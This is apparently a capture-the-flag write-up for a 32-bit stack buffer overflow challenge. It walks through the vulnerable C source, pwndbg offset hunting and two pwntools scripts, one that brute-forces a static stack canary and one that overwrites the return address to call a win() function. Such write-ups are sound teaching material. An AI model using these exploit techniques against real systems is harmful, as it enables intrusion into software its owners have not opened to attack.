Contents:

Enumeration


Exploitation

Enumeration:

Binary Context

$ checksec --file=vuln                      
[*] 'bof3/vuln'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
$ file vuln
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, 
interpreter /lib/ld-linux.so.2, BuildID[sha1]=5fadb3d053aee24d87bef67c56037d6d9e2b56f2, 
for GNU/Linux 3.2.0, not stripped

It's 32-bit ELF executable.

Source Code

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>

#define BUFSIZE 64
#define FLAGSIZE 64
#define CANARY_SIZE 4

void win() {
    char buf[FLAGSIZE];
    FILE *f = fopen("flag.txt","r");
    if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
    }

    fgets(buf,FLAGSIZE,f); // size bound read
    puts(buf);
    fflush(stdout);
}

char global_canary[CANARY_SIZE];
void read_canary() {
    FILE *f = fopen("canary.txt","r");
    if (f == NULL) {
    printf("%s %s", "Please create 'canary.txt' in this directory with your",
                    "own debugging canary.\n");
    exit(0);
    }

    fread(global_canary,sizeof(char),CANARY_SIZE,f);
    fclose(f);
}

void vuln(){
    char canary[CANARY_SIZE];
    char buf[BUFSIZE];
    char length[BUFSIZE];
    int count;
    int x = 0;
    memcpy(canary,global_canary,CANARY_SIZE);
    printf("How Many Bytes will You Write Into the Buffer?\n> ");
    while (x<BUFSIZE) {
        read(0,length+x,1);
        if (length[x]=='\n') break;
        x++;
    }
    sscanf(length,"%d",&count);

    printf("Input> ");
    read(0,buf,count);

    if (memcmp(canary,global_canary,CANARY_SIZE)) {
        printf("***** Stack Smashing Detected ***** : Canary Value Corrupt!\n"); // crash immediately
        exit(-1);
    }
    printf("Ok... Now Where's the Flag?\n");
    fflush(stdout);
}

int main(int argc, char **argv){

    setvbuf(stdout, NULL, _IONBF, 0);
    
    // Set the gid to the effective gid
    // this prevents /bin/sh from dropping the privileges
    gid_t gid = getegid();
    setresgid(gid, gid, gid);
    read_canary();
    vuln();
    return 0;
}     

Let's create "canary.txt" and "flag.txt" and add dummy data to test the buffer overflow. From the source code we can see that the canary is 4 bytes long.

$ echo "test" > canary.txt
$ echo "FLAG{TEST}" > flag.txt

"Stack Canaries" are usually a random value placed on the stack. Prior to a function return, the stack canary is checked and if it appears to be modified, the program exits immeadiately.

Here for the challenge sake the canary is not a random value. We are supposed to bruteforce it.

GIF image of bruteforcing a 32-bit canary.
Brute-forcing a 32-Bit Stak Canary, accessed 19 May 2022, <https://bananamafia.dev/img/binary-canary-bruteforce/canary_bruteforce.gif>

Exploitation:

GDB

Let's find out the buffer size at which buffer overflow occurs using gdb.

$ gdb ./vuln
pwndbg> disassemble vuln
Dump of assembler code for function vuln:
--snip--
   0x0804952f <+206>:	push   eax
   0x08049530 <+207>:	lea    eax,[ebp-0x10]
   0x08049533 <+210>:	push   eax
   0x08049534 <+211>:	call   0x8049180 <memcmp@plt>
   0x08049539 <+216>:	add    esp,0x10
   0x0804953c <+219>:	test   eax,eax
   0x0804953e <+221>:	je     0x804955c <vuln+251>
   0x08049540 <+223>:	sub    esp,0xc
   0x08049543 <+226>:	lea    eax,[ebx-0x1f00]
   0x08049549 <+232>:	push   eax
   0x0804954a <+233>:	call   0x80491b0 <puts@plt>
   0x0804954f <+238>:	add    esp,0x10
   0x08049552 <+241>:	sub    esp,0xc
   0x08049555 <+244>:	push   0xffffffff
--snip--   
End of assembler dump.
pwndbg> b *0x0804953e
Breakpoint 1 at 0x804953e
pwndbg> r <<< $(python -c 'print("65"); print("A"*65)')
Starting program: /bof3/vuln <<< $(python -c 'print("65"); print("A"*65)')
How Many Bytes will You Write Into the Buffer?
> Input> 
Breakpoint 1, 0x0804953e in vuln ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────[ REGISTERS ]──────────────────────────────────
 EAX  0xffffffff
 EBX  0x804c000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x804bf10 (_DYNAMIC) ◂— 0x1
 ECX  0x4
 EDX  0x804c054 (global_canary) ◂— 'test'
 EDI  0xf7fad000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e4d6c
 ESI  0xf7fad000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e4d6c
 EBP  0xffffd138 —▸ 0xffffd158 ◂— 0x0
 ESP  0xffffd0a0 —▸ 0x804d1a0 ◂— 0x0
 EIP  0x804953e (vuln+221) ◂— je     0x804955c
───────────────────────────────────[ DISASM ]───────────────────────────────────
 ► 0x804953e <vuln+221>    je     vuln+251                     <vuln+251>
 
   0x8049540 <vuln+223>    sub    esp, 0xc
   0x8049543 <vuln+226>    lea    eax, [ebx - 0x1f00]
   0x8049549 <vuln+232>    push   eax
   0x804954a <vuln+233>    call   puts@plt                     <puts@plt>
 
   0x804954f <vuln+238>    add    esp, 0x10
   0x8049552 <vuln+241>    sub    esp, 0xc
   0x8049555 <vuln+244>    push   -1
   0x8049557 <vuln+246>    call   exit@plt                     <exit@plt>
 
   0x804955c <vuln+251>    sub    esp, 0xc
   0x804955f <vuln+254>    lea    eax, [ebx - 0x1ec4]
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ esp 0xffffd0a0 —▸ 0x804d1a0 ◂— 0x0
01:0004│     0xffffd0a4 ◂— 0x41 /* 'A' */
02:0008│     0xffffd0a8 ◂— 0xa3536 /* '65\n' */
03:000c│     0xffffd0ac ◂— 0x1be48500
04:0010│     0xffffd0b0 ◂— 0x1
05:0014│     0xffffd0b4 ◂— 0x0
06:0018│     0xffffd0b8 —▸ 0xf7e498fb (_int_free+11) ◂— add    ebx, 0x163705
07:001c│     0xffffd0bc —▸ 0xf7fad000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e4d6c
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
 ► f 0 0x804953e vuln+221
   f 1 0x80495e6 main+94
   f 2 0xf7de6e46 __libc_start_main+262
────────────────────────────────────────────────────────────────────────────────
pwndbg> c
Continuing.
***** Stack Smashing Detected ***** : Canary Value Corrupt!
[Inferior 1 (process 5633) exited with code 0377]

From the source code we can see that the BUFSIZE is 64 bytes. If we read more than 64 bytes, let's say 65 bytes then give an input of all "A" 65 times then we enter a condition where it prints "Stack Smashing Detected".

This condition is satisfied only if we modify the stack canary. Since the BUFSIZE is 64, we can modify the canary from 65th byte of our input.

pwndbg> r <<< $(python -c 'print("65"); print("A"*64 + "t")')
Starting program: /bof3/vuln <<< $(python -c 'print("65"); print("A"*64 + "t")')
How Many Bytes will You Write Into the Buffer?
> Input> 
Breakpoint 1, 0x0804953e in vuln ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────[ REGISTERS ]──────────────────────────────────
 EAX  0x0
 EBX  0x804c000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x804bf10 (_DYNAMIC) ◂— 0x1
 ECX  0x4
 EDX  0x804c054 (global_canary) ◂— 'test'
 EDI  0xf7fad000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e4d6c
--snip--
pwndbg> c
Continuing.
Ok... Now Where's the Flag?
[Inferior 1 (process 6041) exited normally]

In the above input we have specified the 65th byte of our input as "t". Since the stack canary begins with the letter "t", the stack canary will remain unmodified.

pwndbg> r <<< $(python -c 'print("65"); print("A"*64 + "t")')
Starting program: /bof3/vuln <<< $(python -c 'print("65"); print("A"*64 + "t")')
How Many Bytes will You Write Into the Buffer?
> Input> 
Breakpoint 1, 0x0804953e in vuln ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────[ REGISTERS ]──────────────────────────────────
 EAX  0x0
 EBX  0x804c000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x804bf10 (_DYNAMIC) ◂— 0x1
 ECX  0x4
 EDX  0x804c054 (global_canary) ◂— 'test'
 EDI  0xf7fad000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e4d6c
--snip--
pwndbg> i f
Stack level 0, frame at 0xffffd140:
 eip = 0x804953e in vuln; saved eip = 0x80495e6
 called by frame at 0xffffd170
 Arglist at 0xffffd138, args: 
 Locals at 0xffffd138, Previous frame's sp is 0xffffd140
 Saved registers:
  ebx at 0xffffd134, ebp at 0xffffd138, eip at 0xffffd13c
pwndbg> x/s $ebp-82
0xffffd0e6:	"\004\b", 'A' <repeats 64 times>, "test\002"
pwndbg> x/s 0xffffd0e8
0xffffd0e8:	'A' <repeats 64 times>, "test\002"
pwndbg> info fun win
All functions matching regular expression "win":

Non-debugging symbols:
0x08049336  win

In order to overwrite the "eip" we should know the space between our input and eip i.e 0xffffd13c - 0xffffd0e8 = 0x54 which is 84 in decimal.

The address of the "win" function is 0x08049336

Exploit Development

Let's write a python script to bruteforce the canary.

import string
from pwn import *

letters = string.ascii_letters
canary = ''
i = 0
buffer = b'65'

while True:
    if len(canary) == 4:
        with open("canary.out", 'w') as f:
            f.write(canary + '\n')
        print("Done. File saved as 'canary.out'")
        break

    if i == len(letters):
        i = 0

    #con = remote("saturn.picoctf.net", 64289, level='error')
    con = process("./vuln", level='error')

    payload = b'a'*64+ canary.encode() + letters[i].encode()
    con.sendline(buffer)
    con.sendline(payload)
    msg = con.recvallS()

    i += 1
    if 'Flag' in msg:
        canary += letters[i-1]
        print(f"canary: {canary}")
        buffer = str(65 + len(canary)).encode()
        i = 0

    con.close()
$ python3 bof3_canary_bruteforcer.py
canary: t
canary: te
canary: tes
canary: test
Done. File saved as 'canary.out'

We got the canary as "test". Let's write another python script to get the flag.

from sys import exit
from pwn import *

try:
    with open('canary.out', 'r') as f:
        canary = f.read().strip()
except:
    print("Please run the canary bruteforcer.\n'canary.out' doesn't exist.")
    exit(1)

#con = remote("saturn.picoctf.net", 64289)
con = process("./vuln", level="error")

con.sendline(b"88")
payload = b'a'*64 + canary.encode() + b"a"*16 + p32(0x08049336)
con.sendline(payload)

print(con.recvallS())

con.close()
$ python3 bof3_exploit.py           
How Many Bytes will You Write Into the Buffer?
> Input> Ok... Now Where's the Flag?
flag{test}